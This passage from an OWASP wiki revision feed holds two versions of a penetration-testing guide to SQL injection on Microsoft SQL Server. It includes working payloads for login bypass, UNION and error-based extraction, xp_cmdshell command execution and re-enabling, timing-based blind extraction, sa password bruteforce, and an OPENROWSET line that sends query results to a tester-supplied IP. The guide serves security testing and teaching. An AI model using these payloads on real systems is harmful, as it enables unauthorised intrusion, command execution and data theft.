** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* Implementing exploits with MS SQL functions&lt;br /&gt;
** Most of the examples use the '''exec''' function. Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file using xp_cmdshell (assuming that the web server and the DB server reside on the same host). &lt;br /&gt;
&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&lt;br /&gt;
Here, &lt;br /&gt;
&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&lt;br /&gt;
which produces an HTML document containing the result of the query --so that it can be browsed by the pen tester! And &lt;br /&gt;
&lt;br /&gt;
 '; select * from OPENROWSET('SQLOLEDB','uid='''sa''';pwd='''foobar''';Network=DBMSSOCN;Address=&amp;quot; + &lt;br /&gt;
    '''YOUR_IP_ADDRESS''' + &amp;quot;,&amp;quot; + '''PORT''' + &amp;quot;;timeout=1','')--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where ''sa'' is the sysadmin and ''foobar'' his password, ''YOUR_IP_ADDRESS'' is the pen tester's IP and ''PORT'' the port number where he wants to receive this information. See [[http://msdn2.microsoft.com/en-us/library/ms190312.aspx OPENROWSET]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** The following uses the function '''db_name''' to return the name of the database in an error.&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&lt;br /&gt;
Notice, the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
 &lt;br /&gt;
 CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&lt;br /&gt;
Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).&lt;br /&gt;
&lt;br /&gt;
* Environment variables: '''@@version '''&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
===Example 5: custom xp_cmdshell===&lt;br /&gt;
&lt;br /&gt;
All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2000:&lt;br /&gt;
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are describe in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000) &lt;br /&gt;
 select @s = db_name() &lt;br /&gt;
 if (ascii(substring(@s, ''n'', ''b'')) &amp;amp; ( power(2, 0))) &amp;gt; 0 waitfor delay 0:0:5&lt;br /&gt;
&lt;br /&gt;
will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
===Example 7: bruteforce of sysadmin password===&lt;br /&gt;
&lt;br /&gt;
One of the most useful commands in SQL Server (at least for the penetration tester) is the OPENROWSET command, which is used to run a query on another DB Server and retrieve the result. We can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also &amp;quot;looped&amp;quot; to the local DB Server.&lt;br /&gt;
Combining these features with an inferenced injection based on response timing, we can inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using &amp;quot;sa&amp;quot; and &amp;quot;&amp;lt;pwd&amp;gt;&amp;quot; as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. &lt;br /&gt;
Once we have the sysadmin password, we have two choices:&lt;br /&gt;
&lt;br /&gt;
* Inject all following queries using OPENROWSET, in order to use sysadmin privileges&lt;br /&gt;
&lt;br /&gt;
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user&lt;br /&gt;
&lt;br /&gt;
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
===Checking for version and vulnerabilities===&lt;br /&gt;
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Daniel Bleichenbacher: &amp;quot;Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1&amp;quot;, CRYPTO 1998, pp1-12.&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot;, whitepaper. NGSSoftware Insight Security Research Publication, 2002.&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=13523</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=13523"/>
				<updated>2006-11-21T22:46:50Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Peculiarities===&lt;br /&gt;
&lt;br /&gt;
Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests. There follow some useful operators and commands/stored procedures:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* Implementing exploits with MS SQL functions&lt;br /&gt;
** Most of the examples use the '''exec''' function. Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file using xp_cmdshell (assuming that the web server and the DB server reside on the same host). &lt;br /&gt;
&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&lt;br /&gt;
Here, &lt;br /&gt;
&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&lt;br /&gt;
which produces an HTML document containing the result of the query --so that it can be browsed by the pen tester! And &lt;br /&gt;
&lt;br /&gt;
 '; select * from OPENROWSET('SQLOLEDB','uid='''sa''';pwd='''foobar''';Network=DBMSSOCN;Address=&amp;quot; + &lt;br /&gt;
    '''YOUR_IP_ADDRESS''' + &amp;quot;,&amp;quot; + '''PORT''' + &amp;quot;;timeout=1','')--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where ''sa'' is the sysadmin and ''foobar'' his password, ''YOUR_IP_ADDRESS'' is the pen tester's IP and ''PORT'' the port number where he wants to receive this information. See [[http://msdn2.microsoft.com/en-us/library/ms190312.aspx OPENROWSET]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** The following uses the function '''db_name''' to return the name of the database in an error.&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&lt;br /&gt;
Notice, the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
 &lt;br /&gt;
 CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&lt;br /&gt;
Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).&lt;br /&gt;
&lt;br /&gt;
* Environment variables: '''@@version '''&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 5: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are describe in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
